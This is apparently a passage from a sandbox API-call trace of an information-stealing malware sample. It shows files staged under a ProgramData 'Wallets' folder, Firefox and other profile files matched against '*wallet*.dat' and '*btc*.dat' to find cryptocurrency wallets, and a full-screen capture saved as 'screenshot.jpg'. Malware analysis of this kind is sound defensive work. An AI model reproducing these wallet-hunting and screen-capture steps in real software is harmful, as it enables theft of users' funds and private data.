lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="gpv5RAoAafiHE6.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gpv5RAoAafiHE6.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gpv5RAoAafiHE6.lnk" [0052.462] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.462] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="GTxwh.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GTxwh.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GTxwh.lnk" [0052.462] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.466] PathMatchSpecW (pszFile="Extensions", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="events", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="InstallTime20170518000419", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="Crash Reports", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="addons.json", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="AlternateServices.txt", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="blocklist-addons.json", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="blocklist-gfx.json", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="blocklist-plugins.json", pszSpec="*wallet*.dat") returned 0 [0052.466] PathMatchSpecW (pszFile="blocklist.xml", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="bookmarkbackups", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="cert8.db", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="compatibility.ini", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="containers.json", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="content-prefs.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.468] PathMatchSpecW (pszFile="cookies.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.472] PathMatchSpecW (pszFile="events", pszSpec="*wallet*.dat") returned 0 [0052.472] PathMatchSpecW (pszFile="store.json.mozlz4", pszSpec="*wallet*.dat") returned 0 [0052.472] PathMatchSpecW (pszFile="crashes", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="2017-05", pszSpec="*wallet*.dat") returned 0 [0052.497] PathMatchSpecW (pszFile="archived", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="session-state.json", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="state.json", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="datareporting", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="extensions.ini", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="extensions.json", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="formhistory.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="WINNT_x86-msvc", pszSpec="*wallet*.dat") returned 0 [0052.498] PathMatchSpecW (pszFile="gmp", pszSpec="*wallet*.dat") returned 0 [0052.499] PathMatchSpecW (pszFile="gmpopenh264.dll", pszSpec="*wallet*.dat") returned 0 [0052.499] PathMatchSpecW (pszFile="gmpopenh264.info", pszSpec="*wallet*.dat") returned 0 [0052.499] PathMatchSpecW (pszFile="1.6", pszSpec="*wallet*.dat") returned 0 [0052.499] PathMatchSpecW (pszFile="gmp-gmpopenh264", pszSpec="*wallet*.dat") returned 0 [0052.501] PathMatchSpecW (pszFile="LICENSE.txt", pszSpec="*wallet*.dat") returned 0 [0052.501] PathMatchSpecW (pszFile="manifest.json", pszSpec="*wallet*.dat") returned 0 [0052.501] PathMatchSpecW (pszFile="widevinecdm.dll", pszSpec="*wallet*.dat") returned 0 [0052.501] PathMatchSpecW (pszFile="widevinecdm.dll.lib", pszSpec="*wallet*.dat") returned 0 [0052.501] PathMatchSpecW (pszFile="1.4.8.903", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="gmp-widevinecdm", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="key3.db", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="kinto.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="mimeTypes.rdf", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="minidumps", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="parent.lock", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="permissions.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="places.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="pluginreg.dat", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="prefs.js", pszSpec="*wallet*.dat") returned 0 [0052.502] PathMatchSpecW (pszFile="revocations.txt", pszSpec="*wallet*.dat") returned 0 [0052.503] PathMatchSpecW (pszFile="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", pszSpec="*wallet*.dat") returned 0 [0052.503] PathMatchSpecW (pszFile="saved-telemetry-pings", pszSpec="*wallet*.dat") returned 0 [0052.503] PathMatchSpecW (pszFile="search.json.mozlz4", pszSpec="*wallet*.dat") returned 0 [0052.503] PathMatchSpecW (pszFile="secmod.db", pszSpec="*wallet*.dat") returned 0 [0052.503] PathMatchSpecW (pszFile="SecurityPreloadState.txt", pszSpec="*wallet*.dat") returned 0 [0052.503] PathMatchSpecW (pszFile="sessionCheckpoints.json", pszSpec="*wallet*.dat") returned 0 [0052.520] PathMatchSpecW (pszFile="previous.js", pszSpec="*wallet*.dat") returned 0 [0052.520] PathMatchSpecW (pszFile="upgrade.js-20170518000419", pszSpec="*wallet*.dat") returned 0 [0052.520] PathMatchSpecW (pszFile="sessionstore-backups", pszSpec="*wallet*.dat") returned 0 [0052.520] PathMatchSpecW (pszFile="sessionstore.js", pszSpec="*wallet*.dat") returned 0 [0052.520] PathMatchSpecW (pszFile="SiteSecurityServiceState.txt", pszSpec="*wallet*.dat") returned 0 [0052.521] PathMatchSpecW (pszFile=".metadata", pszSpec="*wallet*.dat") returned 0 [0052.521] PathMatchSpecW (pszFile=".metadata-v2", pszSpec="*wallet*.dat") returned 0 [0052.548] PathMatchSpecW (pszFile="2918063365piupsah.files", pszSpec="*wallet*.dat") returned 0 [0052.548] PathMatchSpecW (pszFile="2918063365piupsah.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.548] PathMatchSpecW (pszFile="idb", pszSpec="*wallet*.dat") returned 0 [0052.548] PathMatchSpecW (pszFile="chrome", pszSpec="*wallet*.dat") returned 0 [0052.548] PathMatchSpecW (pszFile=".metadata", pszSpec="*wallet*.dat") returned 0 [0052.548] PathMatchSpecW (pszFile=".metadata-v2", pszSpec="*wallet*.dat") returned 0 [0052.561] PathMatchSpecW (pszFile="1", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="journals", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="818200132aebmoouht.files", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="818200132aebmoouht.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="idb", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="moz-safe-about+home", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="permanent", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="storage", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="storage.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="times.json", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="webappsstore.sqlite", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="xulstore.json", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="8i341t8m.default", pszSpec="*wallet*.dat") returned 0 [0052.562] PathMatchSpecW (pszFile="Profiles", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="profiles.ini", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="Firefox", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="Mozilla", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="mWohdc_8GguAR.ots", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="NdDQG2rs.mkv", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="Nsxrr2llxnB5QzQ.bmp", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="oI4ZaCpHpXI0vJsicc.xlsx", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="Q vx7hL0ODneF2gGv_.mp3", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="Q8HLWWOAAPo.pptx", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="qCb9qH0Ka7TmkIcfd.pptx", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="qeF7qLnjGvB66zGpU.ots", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="r4gMWHEUMwTlihafKy_-.bmp", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="rLkqIV Bd.avi", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="RSSlfV.flv", pszSpec="*wallet*.dat") returned 0 [0052.563] PathMatchSpecW (pszFile="S3rKUPDN5NOcKG8oD74.mp3", pszSpec="*wallet*.dat") returned 0 [0052.564] PathMatchSpecW (pszFile="roottools.conf", pszSpec="*wallet*.dat") returned 0 [0052.564] PathMatchSpecW (pszFile="RootTools", pszSpec="*wallet*.dat") returned 0 [0052.564] PathMatchSpecW (pszFile="Skype", pszSpec="*wallet*.dat") returned 0 [0052.564] PathMatchSpecW (pszFile="Deployment", pszSpec="*wallet*.dat") returned 0 [0052.564] PathMatchSpecW (pszFile="Java", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="Sun", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="SUXOHoZ9b9p.gif", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="uEFAxqgaMU2gZcRq3E.m4a", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="USDDUk8.flv", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="Wpy V2.swf", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="x-bkKyv1xNmk.flv", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="xbr6c90WrF5jbjY C.doc", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="XXgABP9y1.flv", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="YFzsj.png", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="zb4ljBhmt7di.mkv", pszSpec="*wallet*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="6Hf5ibKHh_b19qq3.m4a", pszSpec="*btc*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="7EdEF8cPKQOu3.mp3", pszSpec="*btc*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="Collab", pszSpec="*btc*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="Forms", pszSpec="*btc*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="GlobData", pszSpec="*btc*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="GlobSettings", pszSpec="*btc*.dat") returned 0 [0052.565] PathMatchSpecW (pszFile="JSCache", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="addressbook.acrodata", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="CRLCache", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="Security", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="DC", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="Acrobat", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="NAHQNPMN", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="AssetCache", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="NativeCache.directory", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="NativeCache", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="Flash Player", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="Headlights", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="Linguistics", pszSpec="*btc*.dat") returned 0 [0052.566] PathMatchSpecW (pszFile="Logs", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="LogTransport2.cfg", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="LogTransport2", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="sonar_policy.xml", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="Sonar1.0", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="Sonar", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="Adobe", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="ad_ILWps83nWukzv-V4.jpg", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="BJWhQ_TOsed8S.wav", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="C0Cs.mp3", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="c1pc0 h.avi", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="D-8gVEc7rsNITugVFy.swf", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="dHVkqMn69qOp7ycDg.swf", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="EmKQ4n3YjYza-whi.mp4", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="eqt37.flv", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="Identities", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="jn35ZY_4QwB.mkv", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="KA5Ek4inwvTLMUVf.ppt", pszSpec="*btc*.dat") returned 0 [0052.567] PathMatchSpecW (pszFile="L tI2E1JBSi.mp4", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="DQQHJZ8C", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="#SharedObjects", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="settings.sol", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="sys", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="flashplayer", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="support", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="macromedia.com", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="Flash Player", pszSpec="*btc*.dat") returned 0 [0052.568] PathMatchSpecW (pszFile="Macromedia", pszSpec="*btc*.dat") returned 0 [0052.581] PathMatchSpecW (pszFile="Extensions", pszSpec="*btc*.dat") returned 0 [0052.581] PathMatchSpecW (pszFile="events", pszSpec="*btc*.dat") returned 0 [0052.581] PathMatchSpecW (pszFile="InstallTime20170518000419", pszSpec="*btc*.dat") returned 0 [0052.581] PathMatchSpecW (pszFile="Crash Reports", pszSpec="*btc*.dat") returned 0 [0052.581] PathMatchSpecW (pszFile="addons.json", pszSpec="*btc*.dat") returned 0 [0052.581] PathMatchSpecW (pszFile="AlternateServices.txt", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="blocklist-addons.json", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="blocklist-gfx.json", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="blocklist-plugins.json", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="blocklist.xml", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="bookmarkbackups", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="cert8.db", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="compatibility.ini", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="containers.json", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="content-prefs.sqlite", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="cookies.sqlite", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="events", pszSpec="*btc*.dat") returned 0 [0052.582] PathMatchSpecW (pszFile="store.json.mozlz4", pszSpec="*btc*.dat") returned 0 [0052.583] PathMatchSpecW (pszFile="crashes", pszSpec="*btc*.dat") returned 0 [0052.583] PathMatchSpecW (pszFile="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.583] PathMatchSpecW (pszFile="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.583] PathMatchSpecW (pszFile="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.583] PathMatchSpecW (pszFile="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.584] PathMatchSpecW (pszFile="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.584] PathMatchSpecW (pszFile="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.584] PathMatchSpecW (pszFile="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", pszSpec="*btc*.dat") returned 0 [0052.584] PathMatchSpecW (pszFile="2017-05", pszSpec="*btc*.dat") returned 0 [0052.584] PathMatchSpecW (pszFile="archived", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="session-state.json", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="state.json", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="datareporting", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="extensions.ini", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="extensions.json", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="formhistory.sqlite", pszSpec="*btc*.dat") returned 0 [0052.585] PathMatchSpecW (pszFile="WINNT_x86-msvc", pszSpec="*btc*.dat") returned 0 [0052.586] PathMatchSpecW (pszFile="gmp", pszSpec="*btc*.dat") returned 0 [0052.586] PathMatchSpecW (pszFile="gmpopenh264.dll", pszSpec="*btc*.dat") returned 0 [0052.586] PathMatchSpecW (pszFile="gmpopenh264.info", pszSpec="*btc*.dat") returned 0 [0052.586] PathMatchSpecW (pszFile="1.6", pszSpec="*btc*.dat") returned 0 [0052.586] PathMatchSpecW (pszFile="gmp-gmpopenh264", pszSpec="*btc*.dat") returned 0 [0052.587] PathMatchSpecW (pszFile="LICENSE.txt", pszSpec="*btc*.dat") returned 0 [0052.587] PathMatchSpecW (pszFile="manifest.json", pszSpec="*btc*.dat") returned 0 [0052.587] PathMatchSpecW (pszFile="widevinecdm.dll", pszSpec="*btc*.dat") returned 0 [0052.587] PathMatchSpecW (pszFile="widevinecdm.dll.lib", pszSpec="*btc*.dat") returned 0 [0052.587] PathMatchSpecW (pszFile="1.4.8.903", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="gmp-widevinecdm", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="key3.db", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="kinto.sqlite", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="mimeTypes.rdf", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="minidumps", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="parent.lock", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="permissions.sqlite", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="places.sqlite", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="pluginreg.dat", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="prefs.js", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="revocations.txt", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="d896fec9-1a7a-4db1-a3a2-e46d95b631a5", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="saved-telemetry-pings", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="search.json.mozlz4", pszSpec="*btc*.dat") returned 0 [0052.588] PathMatchSpecW (pszFile="secmod.db", pszSpec="*btc*.dat") returned 0 [0052.589] PathMatchSpecW (pszFile="SecurityPreloadState.txt", pszSpec="*btc*.dat") returned 0 [0052.589] PathMatchSpecW (pszFile="sessionCheckpoints.json", pszSpec="*btc*.dat") returned 0 [0052.589] PathMatchSpecW (pszFile="previous.js", pszSpec="*btc*.dat") returned 0 [0052.589] PathMatchSpecW (pszFile="upgrade.js-20170518000419", pszSpec="*btc*.dat") returned 0 [0052.590] PathMatchSpecW (pszFile="sessionstore-backups", pszSpec="*btc*.dat") returned 0 [0052.590] PathMatchSpecW (pszFile="sessionstore.js", pszSpec="*btc*.dat") returned 0 [0052.590] PathMatchSpecW (pszFile="SiteSecurityServiceState.txt", pszSpec="*btc*.dat") returned 0 [0052.590] PathMatchSpecW (pszFile=".metadata", pszSpec="*btc*.dat") returned 0 [0052.590] PathMatchSpecW (pszFile=".metadata-v2", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="2918063365piupsah.files", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="2918063365piupsah.sqlite", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="idb", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="chrome", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile=".metadata", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile=".metadata-v2", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="1", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="journals", pszSpec="*btc*.dat") returned 0 [0052.591] PathMatchSpecW (pszFile="818200132aebmoouht.files", pszSpec="*btc*.dat") returned 0 [0052.592] GdiplusStartup (in: token=0x19fa60, input=0x19fa50, output=0x0 | out: token=0x19fa60, output=0x0) returned 0x0 [0052.944] GetSystemMetrics (nIndex=0) returned 1440 [0052.944] GetSystemMetrics (nIndex=1) returned 900 [0052.944] CreateCompatibleDC (hdc=0x0) returned 0x701074f [0052.944] GetDC (hWnd=0x0) returned 0xa0100d0 [0052.944] CreateCompatibleBitmap (hdc=0xa0100d0, cx=1440, cy=900) returned 0x405074a [0052.971] SelectObject (hdc=0x701074f, h=0x405074a) returned 0x185000f [0052.971] GetDC (hWnd=0x0) returned 0xf010688 [0052.971] BitBlt (hdc=0x701074f, x=0, y=0, cx=1440, cy=900, hdcSrc=0xf010688, x1=0, y1=0, rop=0xcc0020) returned 1 [0053.149] GdipAlloc (size=0x10) returned 0x2d51f08 [0053.149] GdipCreateBitmapFromHBITMAP (hbm=0x405074a, hpal=0x0, bitmap=0x19f9d0) returned 0x0 [0053.201] GdipGetImageEncodersSize (numEncoders=0x19f9cc, size=0x19f9d0) returned 0x0 [0053.215] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x1f25880 | out: encoders=0x1f25880) returned 0x0 [0053.216] GdipSaveImageToFile (image=0x2d51f20, filename="screenshot.jpg", clsidEncoder=0x19f9f4*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0053.435] 